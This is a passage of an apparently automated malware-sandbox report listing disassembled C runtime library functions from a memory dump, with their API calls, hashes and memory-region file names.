API String ID: 415426439-0
Opcode ID: 148bea43ec72e390c6a8633a8d772ab527bcdfb53f13265455fea6974c32a757
Instruction ID: 90c9980a0a5eb0704b9d5b217bf283ea95d55db5b53ac19802b135e996662b4e
Opcode Fuzzy Hash: 148bea43ec72e390c6a8633a8d772ab527bcdfb53f13265455fea6974c32a757
Instruction Fuzzy Hash: 0E516F71A00319AFDB11DFA9DC42AAE77B8FF08712F154469ED11E7190E7709A48CFA2

Function 0085C085 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00854EB1: GetLastError.KERNEL32(?,00000008,00859482), ref: 00854EB5
Part of subcall function 00854EB1: SetLastError.KERNEL32(00000000,0086C480,00000024,00850419), ref: 00854F57

GetACP.KERNEL32(?,?,?,?,?,?,00851848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0085C146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00851848,?,?,?,00000055,?,-00000050,?,?), ref: 0085C171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0085C2D4

Strings

utf8, xrefs: 0085C243

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: e299172eea5bd3e41002949b816f82199f1dbf861c2ce981fac6f986da9a4d33
Instruction ID: f100123466bcfccebbb093c46b7e05794f1d2fb2a097ea42851718915510ee21
Opcode Fuzzy Hash: e299172eea5bd3e41002949b816f82199f1dbf861c2ce981fac6f986da9a4d33
Instruction Fuzzy Hash: 05710731A00706AEDB24AB79CC46BAA73A8FF44756F144429FD05D7182FB74D94C8BA2

Function 00853C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00853D1F

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 5f147e68337ab2ab9f9db408a82845ca457ce8fd747a2647f52f1dc5dca34ba4
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: D8B15832E042499FDB158F68C891BEEBBF5FF55381F15816AEC04EB241D6349E09CBA1

Function 00847922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0084792E
IsDebuggerPresent.KERNEL32 ref: 008479FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00847A13
UnhandledExceptionFilter.KERNEL32(?), ref: 00847A1D

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1af737c937a55f4e45f527a1d7880c1544a5e419ec9740465069a269ac7e1940
Instruction ID: d272a5958d490d60747b6f2713634b0e19360215e48e1925b9902ed177a76afa
Opcode Fuzzy Hash: 1af737c937a55f4e45f527a1d7880c1544a5e419ec9740465069a269ac7e1940
Instruction Fuzzy Hash: B131E575D0522D9BDB21EFA4D9497CDBBB8FF08300F1041AAE40CAB250EBB19B858F45

Function 0086E385 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: 46897523cb34682c7ca5fbe7932540893e53694f048798658da09b8d688792b3
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: 3DF0FE36904114ABCB11CF55D904BAAF7B9EB47764F263054E409F3710C334ED15AA98

Function 0088F57F Relevance: 54.3, APIs: 36, Instructions: 344
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

operator+.LIBCMT ref: 0088F59A

Part of subcall function 0088C6A8: DName::DName.LIBCMT ref: 0088C6BB
Part of subcall function 0088C6A8: DName::operator+.LIBCMT ref: 0088C6C2

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: f38521b533212a47688de66de14650adde81dd6ab90e34fd2a83f0b3ddf3cb09
Instruction ID: e0d7ffd0298903f838e0b47f31fb22c403ff84c47d48a7256e2db63488075330
Opcode Fuzzy Hash: f38521b533212a47688de66de14650adde81dd6ab90e34fd2a83f0b3ddf3cb09
Instruction Fuzzy Hash: 78D11171D00209AFDB10FFA8D895AEDBBB4FF14314F10416AF601E7292EB349A85CB61

Function 008902C7 Relevance: 27.3, APIs: 18, Instructions: 274
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getECSUDataType.LIBCMT ref: 00890466
DName::operator=.LIBCMT ref: 00890514
DName::operator+=.LIBCMT ref: 0089053F
DName::DName.LIBCMT ref: 008905A4
DName::operator+.LIBCMT ref: 008905AB
DName::DName.LIBCMT ref: 008905CE
DName::operator+.LIBCMT ref: 008905D5
DName::operator+=.LIBCMT ref: 008905E1
DName::operator=.LIBCMT ref: 00890608
DName::operator+=.LIBCMT ref: 0089061A
UnDecorator::getPtrRefType.LIBCMT ref: 00890643
operator+.LIBCMT ref: 00890655

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Decorator::getNameName::Name::operator+Name::operator=Type$Dataoperator+
String ID:
API String ID: 1129569759-0
Opcode ID: f69fe092ae9b7a71ae2fbd49e2d0fcf4651c8620fc76bb06647d2ec2f1a051f0
Instruction ID: bbbc811c359983a967dc882cefce28ea051967aaa131eadf415b3bdd00e8020d
Opcode Fuzzy Hash: f69fe092ae9b7a71ae2fbd49e2d0fcf4651c8620fc76bb06647d2ec2f1a051f0
Instruction Fuzzy Hash: 1391BEB1A00209AECF24FEA8D885ABD7774FF04316F28416AF911E6292D7749A40DF59

Function 00895B3C Relevance: 24.1, APIs: 16, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 00895B55
__calloc_crt.LIBCMT ref: 00895B79
_free.LIBCMT ref: 00895B87
__calloc_crt.LIBCMT ref: 00895B95
_free.LIBCMT ref: 00895BA5
_free.LIBCMT ref: 00895BAB
__copytlocinfo_nolock.LIBCMT ref: 00895BBA
__setlocale_nolock.LIBCMT ref: 00895BC7
___removelocaleref.LIBCMT ref: 00895BD3
___freetlocinfo.LIBCMT ref: 00895BDA
_free.LIBCMT ref: 00895BE0
__setmbcp_nolock.LIBCMT ref: 00895BF2
_free.LIBCMT ref: 00895C00
___removelocaleref.LIBCMT ref: 00895C07
___freetlocinfo.LIBCMT ref: 00895C0E
_free.LIBCMT ref: 00895C14

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2193103758-0
Opcode ID: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction ID: bde1b247dae4d55df24020da5657e7b37d791cf4807d82babc0639b9c00483f7
Opcode Fuzzy Hash: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction Fuzzy Hash: 1421A635108A01EFEF267F2CDC02D1EBBD4FF45770B29441AF498D6191EB32A9408756

Function 0088C96A Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0088C98F

Part of subcall function 0088C52A: Replicator::operator[].LIBCMT ref: 0088C5AD
Part of subcall function 0088C52A: DName::operator+=.LIBCMT ref: 0088C5B5

DName::operator+.LIBCMT ref: 0088C9E8
DName::DName.LIBCMT ref: 0088CA40

Strings

8;C, xrefs: 0088C9DB
4;C, xrefs: 0088CA23
(;C, xrefs: 0088CA2A
D;C, xrefs: 0088C9D4

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: (;C$4;C$8;C$D;C
API String ID: 834187326-2621726175
Opcode ID: c7f3fce04080558064cc0b52ac6239aa08afef4633bb4b42aefffeb503d81399
Instruction ID: 8490c8dcf0fd0819a4cc6e895b5ee895a6178c3f63592f27cf27e022ab2012a8
Opcode Fuzzy Hash: c7f3fce04080558064cc0b52ac6239aa08afef4633bb4b42aefffeb503d81399
Instruction Fuzzy Hash: C3218370601258AFCB15EF1CD8449A97BF4FF4538AB048095E846DB26BE730ED42CB54

Function 0084A5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 0084A6E7
___TypeMatch.LIBVCRUNTIME ref: 0084A7F5
CallUnexpected.LIBVCRUNTIME ref: 0084A962

Strings

csm, xrefs: 0084A605
csm, xrefs: 0084A672
csm, xrefs: 0084A71E

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 8a439472607eda001b7ffddc68bd2feff2190c7f57a97a8f3743c12f15c4c3f0
Instruction ID: 579d8c933311e4c4cf08c47e7738eafb857884cc976d9d8c7e8eb741865d74ee
Opcode Fuzzy Hash: 8a439472607eda001b7ffddc68bd2feff2190c7f57a97a8f3743c12f15c4c3f0
Instruction Fuzzy Hash: 31B1557184021DEFCF28DFA8C8819AEBBB5FF14314B15416AE811AF212D731DA52CB93

Function 00855F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,6662C82A,?,00856057,0084C446,?,F8250000,00000000), ref: 0085600B

Strings

api-ms-, xrefs: 00855FA1
ext-ms-, xrefs: 00855FB5

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 0720275a1cd3d61731b2c6d4b1bb681d27c96d8457069fcece8726e0fc4ebd4d
Instruction ID: b46c0d6a0acda44e7ce1a992bdf81652f4e80a4dc353dab86e413b140fcd674c
Opcode Fuzzy Hash: 0720275a1cd3d61731b2c6d4b1bb681d27c96d8457069fcece8726e0fc4ebd4d
Instruction Fuzzy Hash: 6E21D531A01A10A7DB219B64EC54A5E7768FF417A2F251120FE15F72D1EE70EE08C6E0

Function 0088E304 Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 0088E30E
DName::DName.LIBCMT ref: 0088E31A

Part of subcall function 0088BFE4: DName::doPchar.LIBCMT ref: 0088C015

UnDecorator::getScopedName.LIBCMT ref: 0088E359
DName::operator+=.LIBCMT ref: 0088E363
DName::operator+=.LIBCMT ref: 0088E372
DName::operator+=.LIBCMT ref: 0088E37E
DName::operator+=.LIBCMT ref: 0088E38B

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: c85ac61315a93a875df9470b56e13593d3be8c5adac69c47dcdca7e09bead5a0
Instruction ID: 8e755881b7a710169ca3c179d4af3f4fa8e59fed20dd6f8b3f63c6841ee86166
Opcode Fuzzy Hash: c85ac61315a93a875df9470b56e13593d3be8c5adac69c47dcdca7e09bead5a0
Instruction Fuzzy Hash: 85118E71900248AFC715FB68D85ABADBBA0FF54305F044199E006DB3E2EB70EE84CB56

Function 0085F356 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e949321544d6bd328b5a86dec6e376695544570382ecdc56408e49bf8c97a114
Instruction ID: 03332daf9ef08d5e1af7f38035d2b46a45ce7b83b1844b6b53013f1a1900fde0
Opcode Fuzzy Hash: e949321544d6bd328b5a86dec6e376695544570382ecdc56408e49bf8c97a114
Instruction Fuzzy Hash: 8CB1EF70A04249AFDB11DFA8D880BADBBF1FF55301F144169EA01DB2A3C7719909CB61

Function 0089032E Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00890514

Part of subcall function 0088C2E4: DName::doPchar.LIBCMT ref: 0088C30D

DName::DName.LIBCMT ref: 008905A4
DName::operator+.LIBCMT ref: 008905AB
DName::DName.LIBCMT ref: 008905CE
DName::operator+.LIBCMT ref: 008905D5
DName::operator+=.LIBCMT ref: 008905E1
DName::operator=.LIBCMT ref: 00890608
DName::operator+=.LIBCMT ref: 0089061A
DName::operator=.LIBCMT ref: 0089062E
UnDecorator::getPtrRefType.LIBCMT ref: 00890643
operator+.LIBCMT ref: 00890655

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 782e929d35071983b2d8c104ffd9dc153efb0a19d75e7232908c0e689982be2f
Instruction ID: 82e863b3ce48f9b3e43db6450f1e656dd7ea85e7094ab837cc8d11d360fb9927
Opcode Fuzzy Hash: 782e929d35071983b2d8c104ffd9dc153efb0a19d75e7232908c0e689982be2f
Instruction Fuzzy Hash: FD2129B6A0010A9ECF18FEB8D9559BDBBB4FF44301F19416AE921F6685DB34DE009F24

Function 00890324 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00890514

Part of subcall function 0088C2E4: DName::doPchar.LIBCMT ref: 0088C30D

DName::DName.LIBCMT ref: 008905A4
DName::operator+.LIBCMT ref: 008905AB
DName::DName.LIBCMT ref: 008905CE
DName::operator+.LIBCMT ref: 008905D5
DName::operator+=.LIBCMT ref: 008905E1
DName::operator=.LIBCMT ref: 00890608
DName::operator+=.LIBCMT ref: 0089061A
DName::operator=.LIBCMT ref: 0089062E
UnDecorator::getPtrRefType.LIBCMT ref: 00890643
operator+.LIBCMT ref: 00890655

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: ed6efb47dda06db8a7269c33b3ffa0fe7ce325c4077487fa95590a89c477c949
Instruction ID: 3edcb8703cd95e6c8814e30864fa20ad292fa65ecb9813f2758355be94a67007
Opcode Fuzzy Hash: ed6efb47dda06db8a7269c33b3ffa0fe7ce325c4077487fa95590a89c477c949
Instruction Fuzzy Hash: 4D2129B6A0010A9ECF18FEB8D9559BDBBB4FF44301F19416AE921F6685DB349E009F24

Function 00890338 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00890514

Part of subcall function 0088C2E4: DName::doPchar.LIBCMT ref: 0088C30D

DName::DName.LIBCMT ref: 008905A4
DName::operator+.LIBCMT ref: 008905AB
DName::DName.LIBCMT ref: 008905CE
DName::operator+.LIBCMT ref: 008905D5
DName::operator+=.LIBCMT ref: 008905E1
DName::operator=.LIBCMT ref: 00890608
DName::operator+=.LIBCMT ref: 0089061A
DName::operator=.LIBCMT ref: 0089062E
UnDecorator::getPtrRefType.LIBCMT ref: 00890643
operator+.LIBCMT ref: 00890655

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 256ef7eef77735b2125be7b356005460faee82171139d9d126af7d25951e9f01
Instruction ID: e632c061c793c30582bb08a4afbe21f2f446c8eade4d63c7d8223141b67a0fbc
Opcode Fuzzy Hash: 256ef7eef77735b2125be7b356005460faee82171139d9d126af7d25951e9f01
Instruction Fuzzy Hash: 21212CB6A0010A9ECF18FEB8D9559BDBB74FF44301F19416AE921F6685DB349E009F14

Function 00890342 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00890514

Part of subcall function 0088C2E4: DName::doPchar.LIBCMT ref: 0088C30D

DName::DName.LIBCMT ref: 008905A4
DName::operator+.LIBCMT ref: 008905AB
DName::DName.LIBCMT ref: 008905CE
DName::operator+.LIBCMT ref: 008905D5
DName::operator+=.LIBCMT ref: 008905E1
DName::operator=.LIBCMT ref: 00890608
DName::operator+=.LIBCMT ref: 0089061A
DName::operator=.LIBCMT ref: 0089062E
UnDecorator::getPtrRefType.LIBCMT ref: 00890643
operator+.LIBCMT ref: 00890655

Memory Dump Source

Source File: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
